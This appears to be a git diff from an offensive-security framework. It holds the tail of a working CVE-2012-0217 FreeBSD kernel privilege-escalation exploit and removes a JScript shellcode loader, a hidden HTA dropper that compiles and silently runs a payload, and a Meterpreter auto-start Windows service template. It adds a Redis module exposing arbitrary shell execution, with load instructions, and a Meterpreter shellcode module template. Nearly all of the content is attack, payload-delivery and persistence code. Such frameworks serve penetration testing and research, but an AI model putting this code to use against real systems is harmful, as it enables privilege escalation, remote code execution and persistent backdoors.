"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
|
||||
"\xff\xe0"; // jmp rax
|
||||
|
||||
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
|
||||
size_t trampoline_allocsize = pagesize;
|
||||
// We round the address to the PAGESIZE for the allocation
|
||||
// Not enough space for the trampoline code ?
|
||||
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
|
||||
trampoline_allocsize += pagesize;
|
||||
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
|
||||
{
|
||||
perror("mmap (trampoline)");
|
||||
exit(1);
|
||||
}
|
||||
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
|
||||
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
|
||||
// Call it
|
||||
printf("[*] Fire in the hole!\n");
|
||||
((void (*)())trigger_addr)();
|
||||
}
|
||||
|
||||
typedef struct validtarget
|
||||
{
|
||||
char * sysname;
|
||||
char * release;
|
||||
char * machine;
|
||||
} validtarget_t;
|
||||
|
||||
int validate_target(char * sysname, char * release, char * machine)
|
||||
{
|
||||
validtarget_t targets[] = {
|
||||
{ "FreeBSD", "8.3-RELEASE", "amd64" },
|
||||
{ "FreeBSD", "9.0-RELEASE", "amd64" },
|
||||
{ 0, 0, 0 }
|
||||
};
|
||||
|
||||
int found = 0;
|
||||
int i = 0;
|
||||
|
||||
while (!found && targets[i].sysname) {
|
||||
found = !strcmp(targets[i].sysname, sysname)
|
||||
&& !strcmp(targets[i].release, release)
|
||||
&& !strcmp(targets[i].machine, machine);
|
||||
++i;
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
void get_cpu_vendor(char * cpu_vendor)
|
||||
{
|
||||
u_int regs[4];
|
||||
|
||||
do_cpuid(0, regs);
|
||||
((u_int *)cpu_vendor)[0] = regs[1];
|
||||
((u_int *)cpu_vendor)[1] = regs[3];
|
||||
((u_int *)cpu_vendor)[2] = regs[2];
|
||||
cpu_vendor[12] = '\0';
|
||||
}
|
||||
|
||||
int is_intel()
|
||||
{
|
||||
char cpu_vendor[13];
|
||||
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
return !strcmp(cpu_vendor, "GenuineIntel");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
|
||||
|
||||
printf("[*] Retrieving host information...\n");
|
||||
char cpu_vendor[13];
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
struct utsname ver;
|
||||
uname(&ver);
|
||||
printf(" [+] CPU: %s\n", cpu_vendor);
|
||||
printf(" [+] sysname: %s\n", ver.sysname);
|
||||
printf(" [+] release: %s\n", ver.release);
|
||||
printf(" [+] version: %s\n", ver.version);
|
||||
printf(" [+] machine: %s\n", ver.machine);
|
||||
printf("[*] Validating target OS and version...\n");
|
||||
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
|
||||
printf(" [+] NOT Vulnerable :-(\n");
|
||||
exit(1);
|
||||
} else
|
||||
printf(" [+] Vulnerable :-)\n");
|
||||
// Prepare the values we'll need to restore the kernel to a stable state
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
|
||||
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
|
||||
Xill_ptr = (uintptr_t)get_symaddr("Xill");
|
||||
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
|
||||
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
|
||||
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
|
||||
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
|
||||
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
|
||||
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
|
||||
// doeet!
|
||||
trigger();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
import System;
|
||||
import System.Runtime.InteropServices;
|
||||
import System.Reflection;
|
||||
import System.Reflection.Emit;
|
||||
import System.Runtime;
|
||||
import System.Text;
|
||||
|
||||
function InvokeWin32(dllName:String, returnType:Type,
|
||||
methodName:String, parameterTypes:Type[], parameters:Object[])
|
||||
{
|
||||
// Begin to build the dynamic assembly
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
|
||||
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
||||
var module = assembly.DefineDynamicModule('PInvokeModule');
|
||||
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
|
||||
|
||||
// Define the actual P/Invoke method
|
||||
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
|
||||
|
||||
// Apply the P/Invoke constructor
|
||||
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
|
||||
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
|
||||
method.SetCustomAttribute(attr);
|
||||
|
||||
// Create the temporary type, and invoke the method.
|
||||
var realType = type.CreateType();
|
||||
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
|
||||
}
|
||||
|
||||
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
|
||||
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [handle, dwMiliseconds ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function ShellCodeExec()
|
||||
{
|
||||
var MEM_COMMIT:uint = 0x1000;
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
var shellcodestr:String = '<%= file_payload %>'
|
||||
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
|
||||
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
|
||||
var hThread:IntPtr = IntPtr.Zero;
|
||||
var threadId:UInt32 = 0;
|
||||
// prepare data
|
||||
var pinfo:IntPtr = IntPtr.Zero;
|
||||
// execute native code
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
try{
|
||||
ShellCodeExec();
|
||||
}catch(e){}
|
||||
@@ -1,151 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
|
||||
</head>
|
||||
</html>
|
||||
<script>
|
||||
window.resizeTo(1, 1);
|
||||
window.moveTo(-2000, -2000);
|
||||
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
|
||||
// variable names changed to make obfuscation easier
|
||||
var Base64 = {
|
||||
// private property
|
||||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
// public method for decoding
|
||||
decode : function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = Base64._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
_utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var input_idx = 0;
|
||||
var chr1 = 0;
|
||||
var chr2 = 0;
|
||||
var chr3 = 0;
|
||||
|
||||
while ( input_idx < utftext.length ) {
|
||||
|
||||
chr1 = utftext.charCodeAt(input_idx);
|
||||
|
||||
if (chr1 < 128) {
|
||||
string += String.fromCharCode(chr1);
|
||||
input_idx++;
|
||||
}
|
||||
else if((chr1 > 191) && (chr1 < 224)) {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||||
input_idx += 2;
|
||||
} else {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
chr3 = utftext.charCodeAt(input_idx+2);
|
||||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||||
input_idx += 3;
|
||||
}
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
decodedStr = Base64.decode("<%= jsnet_encoded %>");
|
||||
|
||||
function getTempPath()
|
||||
{
|
||||
var TemporaryFolder = 2;
|
||||
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
|
||||
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
var path = getTempPath();
|
||||
|
||||
function makefile()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
|
||||
|
||||
thefile.WriteLine(decodedStr);
|
||||
thefile.Close();
|
||||
}
|
||||
|
||||
makefile();
|
||||
|
||||
function findJSC()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
|
||||
var jscPath = "";
|
||||
|
||||
if(!fso.FolderExists(comPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
var frameFolder = fso.GetFolder(comPath);
|
||||
var fEnum = new Enumerator(frameFolder.SubFolders);
|
||||
|
||||
while(!fEnum.atEnd())
|
||||
{
|
||||
jscPath = fEnum.item().Path;
|
||||
|
||||
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
|
||||
{
|
||||
return jscPath + "\\\\jsc.exe";
|
||||
}
|
||||
|
||||
fEnum.moveNext();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
var comPath = findJSC();
|
||||
if(comPath)
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var objShell = new ActiveXObject("WScript.shell");
|
||||
var js_f = path + "\\\\<%= fname %>.js";
|
||||
var ex = path + "\\\\<%= fname %>.exe";
|
||||
var platform = "/platform:<%= arch %>";
|
||||
|
||||
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
|
||||
while(!fso.FileExists(ex)) { }
|
||||
|
||||
objShell.run(ex, 0);
|
||||
}
|
||||
</script>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,304 +0,0 @@
|
||||
#include <String.h>
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SERVICE_NAME <%= @service_name.inspect %>
|
||||
#define DISPLAY_NAME <%= @service_description.inspect %>
|
||||
#define RETRY_TIME <%= @retry_time %>
|
||||
|
||||
//
|
||||
// Globals
|
||||
//
|
||||
|
||||
SERVICE_STATUS status;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
//
|
||||
// Meterpreter connect back to host
|
||||
//
|
||||
|
||||
void start_meterpreter()
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(buffer,buf,sizeof(buf));
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
||||
WaitForSingleObject(hThread, -1); //INFINITE
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//
|
||||
// Call self without parameter to start meterpreter
|
||||
//
|
||||
|
||||
void self_call()
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
||||
// Get module file name failed
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_information;
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(startup_info);
|
||||
|
||||
ZeroMemory(&process_information, sizeof(process_information));
|
||||
|
||||
// If create process failed.
|
||||
// CREATE_NO_WINDOW = 0x08000000
|
||||
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
||||
NULL, &startup_info, &process_information) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait until the process died.
|
||||
WaitForSingleObject(process_information.hProcess, -1);
|
||||
}
|
||||
|
||||
//
|
||||
// Process control requests from the Service Control Manager
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
||||
{
|
||||
switch (fdwControl) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_STOPPED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_PAUSED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function of service
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
||||
{
|
||||
// Register the service handler
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
||||
|
||||
if (hStatus == 0) {
|
||||
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Initialize the service status structure
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
status.dwCheckPoint = 0;
|
||||
status.dwWaitHint = 0;
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the Meterpreter
|
||||
while (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
self_call();
|
||||
Sleep(RETRY_TIME);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Installs and starts the Meterpreter service
|
||||
//
|
||||
|
||||
BOOL install_service()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
SC_HANDLE hService;
|
||||
|
||||
char path[MAX_PATH];
|
||||
|
||||
// Get the current module name
|
||||
|
||||
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
||||
//printf("Cannot get module name (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the service command line
|
||||
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\0';
|
||||
strcat(cmd, "\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\" <%= @start_cmd %>");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
||||
if (hSCManager == NULL) {
|
||||
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the service
|
||||
|
||||
hService = CreateService(
|
||||
hSCManager,
|
||||
SERVICE_NAME,
|
||||
DISPLAY_NAME,
|
||||
0xf01ff, // SERVICE_ALL_ACCESS
|
||||
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
cmd,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL, /* LocalSystem account */
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
//printf("Cannot create service (0x%08x)", GetLastError());
|
||||
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Start the service
|
||||
|
||||
char* args[] = { path, "service" };
|
||||
|
||||
if (StartService(hService, 2, (const char**)&args) == 0) {
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
||||
{
|
||||
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
|
||||
//printf("Service %s successfully installed.", SERVICE_NAME);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//
|
||||
// Start the service
|
||||
//
|
||||
|
||||
void start_service()
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[] =
|
||||
{
|
||||
{ SERVICE_NAME, &ServiceMain },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
||||
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function
|
||||
//
|
||||
|
||||
int main()
|
||||
{
|
||||
// Parse the command line argument.
|
||||
// For now, int main(int argc, char *argv) is buggy with metasm.
|
||||
// So we choose this approach to achieve it.
|
||||
LPTSTR cmdline;
|
||||
cmdline = GetCommandLine();
|
||||
|
||||
char *argv[MAX_PATH];
|
||||
char * ch = strtok(cmdline," ");
|
||||
int argc = 0;
|
||||
|
||||
while (ch != NULL)
|
||||
{
|
||||
argv[argc] = malloc( strlen(ch)+1) ;
|
||||
strncpy(argv[argc], ch, strlen(ch)+1);
|
||||
|
||||
ch = strtok (NULL, " ");
|
||||
argc++;
|
||||
}
|
||||
|
||||
if (argc > 1) {
|
||||
|
||||
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
|
||||
|
||||
// Installs and starts the service
|
||||
|
||||
install_service();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
|
||||
// Starts the Meterpreter as a service
|
||||
|
||||
start_service();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Starts the Meterpreter as a normal application
|
||||
|
||||
start_meterpreter();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=./
|
||||
endif
|
||||
|
||||
ifndef RMUTIL_LIBDIR
|
||||
RMUTIL_LIBDIR=./rmutil
|
||||
endif
|
||||
|
||||
# find the OS
|
||||
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
|
||||
|
||||
# Compile flags for linux / osx
|
||||
ifeq ($(uname_S),Linux)
|
||||
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
|
||||
else
|
||||
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
|
||||
endif
|
||||
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
|
||||
CC=gcc
|
||||
|
||||
all: rmutil module.so
|
||||
|
||||
rmutil: FORCE
|
||||
$(MAKE) -C $(RMUTIL_LIBDIR)
|
||||
|
||||
module.so: module.o
|
||||
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
|
||||
|
||||
clean:
|
||||
rm -rf *.xo *.so *.o
|
||||
|
||||
FORCE:
|
||||
@@ -0,0 +1,35 @@
|
||||
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=../
|
||||
endif
|
||||
|
||||
ifndef RMUTIL_LIBDIR
|
||||
RMUTIL_LIBDIR=../rmutil
|
||||
endif
|
||||
|
||||
# find the OS
|
||||
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
|
||||
|
||||
# Compile flags for linux / osx
|
||||
ifeq ($(uname_S),Linux)
|
||||
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
|
||||
else
|
||||
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
|
||||
endif
|
||||
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
|
||||
CC=gcc
|
||||
|
||||
all: rmutil exp.so
|
||||
|
||||
rmutil: FORCE
|
||||
$(MAKE) -C $(RMUTIL_LIBDIR)
|
||||
|
||||
exp.so: exp.o
|
||||
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
|
||||
|
||||
clean:
|
||||
rm -rf *.xo *.so *.o
|
||||
|
||||
FORCE:
|
||||
@@ -0,0 +1,47 @@
|
||||
#include "redismodule.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (argc == 2) {
|
||||
size_t cmd_len;
|
||||
size_t size = 1024;
|
||||
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
|
||||
|
||||
FILE *fp = popen(cmd, "r");
|
||||
char *buf, *output;
|
||||
buf = (char *)malloc(size);
|
||||
output = (char *)malloc(size);
|
||||
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
|
||||
if (strlen(buf) + strlen(output) >= size) {
|
||||
output = realloc(output, size<<2);
|
||||
size <<= 1;
|
||||
}
|
||||
strcat(output, buf);
|
||||
}
|
||||
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
|
||||
RedisModule_ReplyWithString(ctx, ret);
|
||||
pclose(fp);
|
||||
} else {
|
||||
return RedisModule_WrongArity(ctx);
|
||||
}
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
|
||||
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, "shell.exec",
|
||||
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
## Intro
|
||||
|
||||
This is a compiled shared object file of redis module.
|
||||
|
||||
## Load redis extension
|
||||
|
||||
```
|
||||
MODULE load ./exp.so
|
||||
```
|
||||
|
||||
## Run command
|
||||
|
||||
```
|
||||
redis-cli
|
||||
127.0.0.1:6379> shell.exec "whoami"
|
||||
```
|
||||
## Compile
|
||||
|
||||
You can modify the exp.c source code if you want.
|
||||
And the compile it to exp.so in current directory.
|
||||
```
|
||||
make
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
#include "redismodule.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid == 0)
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
int (*ret)() = (int(*)())buf;
|
||||
ret();
|
||||
}
|
||||
else
|
||||
{wait(NULL);}
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
|
||||
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
|
||||
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
@@ -0,0 +1,509 @@
|
||||
#ifndef REDISMODULE_H
|
||||
#define REDISMODULE_H
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* ---------------- Defines common between core and modules --------------- */
|
||||
|
||||
/* Error status return values. */
|
||||
#define REDISMODULE_OK 0
|
||||
#define REDISMODULE_ERR 1
|
||||
|
||||
/* API versions. */
|
||||
#define REDISMODULE_APIVER_1 1
|
||||
|
||||
/* API flags and constants */
|
||||
#define REDISMODULE_READ (1<<0)
|
||||
#define REDISMODULE_WRITE (1<<1)
|
||||
|
||||
#define REDISMODULE_LIST_HEAD 0
|
||||
#define REDISMODULE_LIST_TAIL 1
|
||||
|
||||
/* Key types. */
|
||||
#define REDISMODULE_KEYTYPE_EMPTY 0
|
||||
#define REDISMODULE_KEYTYPE_STRING 1
|
||||
#define REDISMODULE_KEYTYPE_LIST 2
|
||||
